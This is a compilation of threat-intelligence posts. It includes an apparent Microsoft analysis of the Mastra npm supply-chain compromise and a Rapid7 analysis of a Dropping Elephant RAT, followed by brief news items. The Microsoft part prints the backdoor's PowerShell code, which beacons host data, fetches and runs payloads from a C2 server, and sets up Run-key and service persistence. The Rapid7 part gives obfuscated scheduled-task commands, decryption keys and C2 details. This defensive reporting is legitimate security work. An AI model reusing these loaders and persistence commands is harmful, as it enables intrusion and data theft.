Step 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim identifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status, installed antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser extensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2 via HTTP POST:

$info_pkt = @{     type        = "info"     targetId    = $uid     currentTime = [int64][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname; timezone=$timezone;              bootTime=$bootTime; os="windows"; version=$version; arch=$arch;              applist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine } }

All network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing every 10 seconds and backing off to 180-second intervals on network failure.

Step 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent of the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named MicrosoftUpdate:

$batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = 'start /min powershell -w h -c "& ([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing ' +            "-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -Value $batFile

This persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling the attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command, the backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\{guid}.ps1), and executes it with -ExecutionPolicy Bypass in a hidden window:

$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N"))) Set-Content -Path $tempFile -Value $scpt -Encoding UTF8 -Force $cln = @("-NoProfile","-ExecutionPolicy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln

Step 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a persistent service that loads a malicious DLL at boot:

sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f

The scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing Sapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—from a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level persistence.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
• Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
• Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
• Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
• Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
• Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
• Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
• Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents 
 | where Timestamp > ago(7d) 
 | where FileName in ("node", "node.exe") 
 | where ProcessCommandLine has "setup.cjs" 
     or ProcessCommandLine has "easy-day-js" 
|  where ProcessCommandLine has “--no-warnings” 
 | project Timestamp, DeviceName, AccountName, 
     ProcessCommandLine, FolderPath, InitiatingProcessFileName 
 | sort by Timestamp desc 

Outbound connections to C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Indicators of compromise (IOC)

Network indicators

File indicators

Host indicators

Package indicators

References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

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The post From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet appeared first on Microsoft Security Blog.

Executive summary

Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of "Donut" shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.

The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7's deep analysis confirms this activity is a direct evolution of Dropping Elephant's tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.

Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.

Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in C:\Users\Public\, a scheduled task named GoogleErrorReport executing every minute, and Fondue.exe loading APPWIZ.cpl from C:\Users\Public\ rather than a legitimate Windows directory.

Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.

Overview

During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.

The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.

Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use Fondue.exe, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.

We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.

Technical analysis and observed attacker behavior

⠀

Stage 1: GRES3001.lnk

The attack starts when a user executes GRES3001.lnk, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw''r, g''c''i, r''e''n, c''p''i, and &(g''cm sch*)) to evade keyword detection.

The downloader connects to the staging server chinagreenenergy[.]org and retrieves the decoy GRES3001.pdf along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.

⠀

⠀

Stage 2: Payload staging

Several payload files are downloaded with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, then renamed by stripping filler characters to reconstruct Fondue.exe, APPWIZ.cpl, msvcp140.dll, and vcruntime140.dll in C:\Users\Public\. The encrypted payload editor.dat is written to the C:\Windows\Tasks\ folder.

Table 1: Files retrieved from the stager server 

After staging the files, the script creates a scheduled task named GoogleErrorReport, configured to run Fondue.exe every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the Fondue.exe side-loading chain.

&(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"

Figure 4: Scheduled task creation command using gcm sch* obfuscation

Stage 3: DLL side-loading

The Fondue.exe loads the malicious APPWIZ.cpl staged alongside it in the C:\Users\Public\ directory. The side-loaded APPWIZ.cpl exports RunFODW, the function expected by Fondue.exe. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting editor.dat.

Stage 4: Encrypted payload and Donut loader

APPWIZ.cpl sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is bluetooth_callback.dll.

⠀

It reads editor.dat, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (bcrypt.dll). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:

KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611

IV (16B): 000803030902060708090a0b0c0d0e0f

The loader maps the shellcode into an RWX memory region using VirtualAlloc followed by memcpy call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to EnumUILanguagesW.

⠀

The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.

The final payload is a native 32-bit C++ implant SHA 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls FreeConsole() to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a LoadLibrary / GetProcAddress loop. After API resolution, the RAT stages its crypto and builds C2 hostname, gcl-power[.]org. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key tn9905083tfbsxqrxs7qe4ryw1nif8h1 with 8-byte nonce lPvymwIk. Next, it calls sub_40F4A0 subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.

Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the mkeoldkf beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.

After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise. 

Finally, the RAT fingerprints the host, derives its bot ID, and enters sub_415750(), where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.

Host fingerprinting

Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:

Table 2: RAT registration beacon fields and their meaning

During fingerprinting, the RAT makes a one-time call to api.ipify.org to learn the host's own public IP, then passes that IP to ip2c.org to resolve the country. The user-agent used in the recon phase is Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 . The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the idkdfjej field. Each field is independently wrapped as base64url(Salsa20(base64url(value))).

Command and control

The RAT periodically sends HTTPS POST requests to the C2 server on port 443 (INTERNET_FLAG_SECURE). It uses a 23-character token, RRn926EmIRfm9IlJyP1yVO2 for C2 traffic to gcl-power[.]org. Each beacon loop iteration follows the same pattern:

• POSTs dine=<cid> to the command-poll endpoint /prjozifvkpkfhkr/gedhagammgjvvva/;

• blocks on InternetReadFile while waiting for a task;

• treats MMMMM==YYYYY as the idle sentinel, sleeps for approximately three seconds, and re-polls;

• C2 tasks are wrapped in  < > ( ) * delimiters. The RAT strips these characters and decodes the payload back to the original command using base64url(Salsa20(base64url(value))) again.

⠀

Each cycle, the RAT first confirms the host is actually online by quietly pinging google.com, yahoo.com, and cloudflare.com. Only if that succeeds does it beacon to its C2. When all's well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.

Operator capabilities

During our analysis we confirmed 5 command handlers.

Table 3: Confirmed RAT command handlers with dispatch tokens and behavior

The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter ==zz==oo==pp==. For example, fl==zz==oo==pp== tells the RAT to run the file-listing handler.

Anti-analysis 

The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.

⠀

During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the mkeoldkf field and attempted to send it to gcl-power[.]org. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. The full list of processes and security tools cancould be found in the IOCs section below.

Attribution 

To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2. That report provides the family context for the reference sample.

BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.

Diaphora identified four function-level overlaps that pointed to a shared code usage.

Table 4: Code-level overlaps between editor.extracted.exe and old_rat.exe identified by Diaphora

The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.

Mitigation guidance

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

File hashes

Network indicators

More IOCs can be found on our GitHub.

Conclusion

The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.

The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.

For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.

The attackers deployed a new Go-based backdoor that uses Microsoft Teams servers for command-and-control.

The post Microsoft Teams Relay Servers Abused in DragonForce Ransomware Attack appeared first on SecurityWeek.

Source

Google threat hunters spotted yet another Chinese state-sponsored espionage group that for years had burrowed into systems belonging to government and private organizations to steal data across academia, medicine, military, cybersecurity and foreign policy. 

Google Threat Intelligence Group discovered the previously unknown threat group UNC6508, which targeted organizations in the United States and Canada, in late 2025 but traced its earliest known compromise back to September 2023. 

The revelation mirrors an alarming pattern of Chinese espionage groups dropping backdoors into critical infrastructure to pre-position for potential sabotage, intercept research and steal data with national security implications. These groups working at the behest of China’s government, including UNC6508, operated in stealth for years before authorities or researchers discovered their activity.

“We don’t know the full extent or impact of the campaign,” Patrick Whitsell, senior security engineer at GTIG, told CyberScoop. Researchers said the threat group intruded a medical research university in September 2023, stole credentials and communications, and remained active on the institution’s systems through November 2025 when it was discovered.

Google said it confirmed multiple victims compromised with INFINITERED, a custom backdoor the threat group deployed on targeted networks to steal administrative credentials after it exploited externally facing REDCap (Research Electronic Data Capture) servers.

Researchers still don’t know how UNC6508 gained initial access to the REDCap servers. Google said the survey and database software, which was created at Vanderbilt University and issued multiple patches for critical remote-code execution vulnerabilities throughout 2023, is widely used across the medical research community. 

“Given the breadth of the threat actor’s intelligence collection criteria and their ability to remain undetected within compromised networks for more than a year, we assess the known victims likely represent only a fraction of a larger campaign,” Whitsell said. “We also assess that this highly capable threat actor will remain active and continue to be a threat to the defense, technology and medical industries for the foreseeable future.”

Google said the campaign targeted clinical providers, academic medical centers and U.S. military health institutions, demonstrating advanced capabilities from a threat group that doesn’t currently overlap with any other publicly known groups.

The threat group abused domain compliance rules to steal data, a technique that doesn’t rely on malware or living-off-the-land tools, and routed traffic through U.S.-based IPs to blend in with legitimate traffic, researchers said.

“We have some evidence to suggest this is a large threat group with multiple sub-teams, but this is not confirmed,” Whitsell said.

Like other previously identified China state-sponsored espionage groups, UNC6508 remains active.

Google said it disrupted some of UNC6508’s known infrastructure by disabling an Gmail account it used to exfiltrate data, notified the affected organizations and helped remediate compromises before it published research on UNC6508’s activities.

Whitsell said several unconfirmed instances of compromise remain under investigation.

The post Google exposes China espionage group that’s been lurking in networks undetected since 2023 appeared first on CyberScoop.

Researchers say the OnyxC2 malware targets more than 200 applications and extensions while evading detection through encrypted payloads, DLL sideloading, and in-memory execution techniques.

The post OnyxC2 Stealer Offers Cybercriminals Enterprise-Grade Theft for $250 a Month appeared first on SecurityWeek.

A PowerShell script included in patch files appears to be triggering false positives by multiple security engines.

The post Siemens Says Desigo CC Files Flagged as Malware by Security Engines appeared first on SecurityWeek.

As attackers increasingly favor stolen credentials over exploits, infostealers have become a primary source of access for ransomware and other cybercrime operations.

The post Infostealers Turn Millions of Devices Into Credential Theft Machines appeared first on SecurityWeek.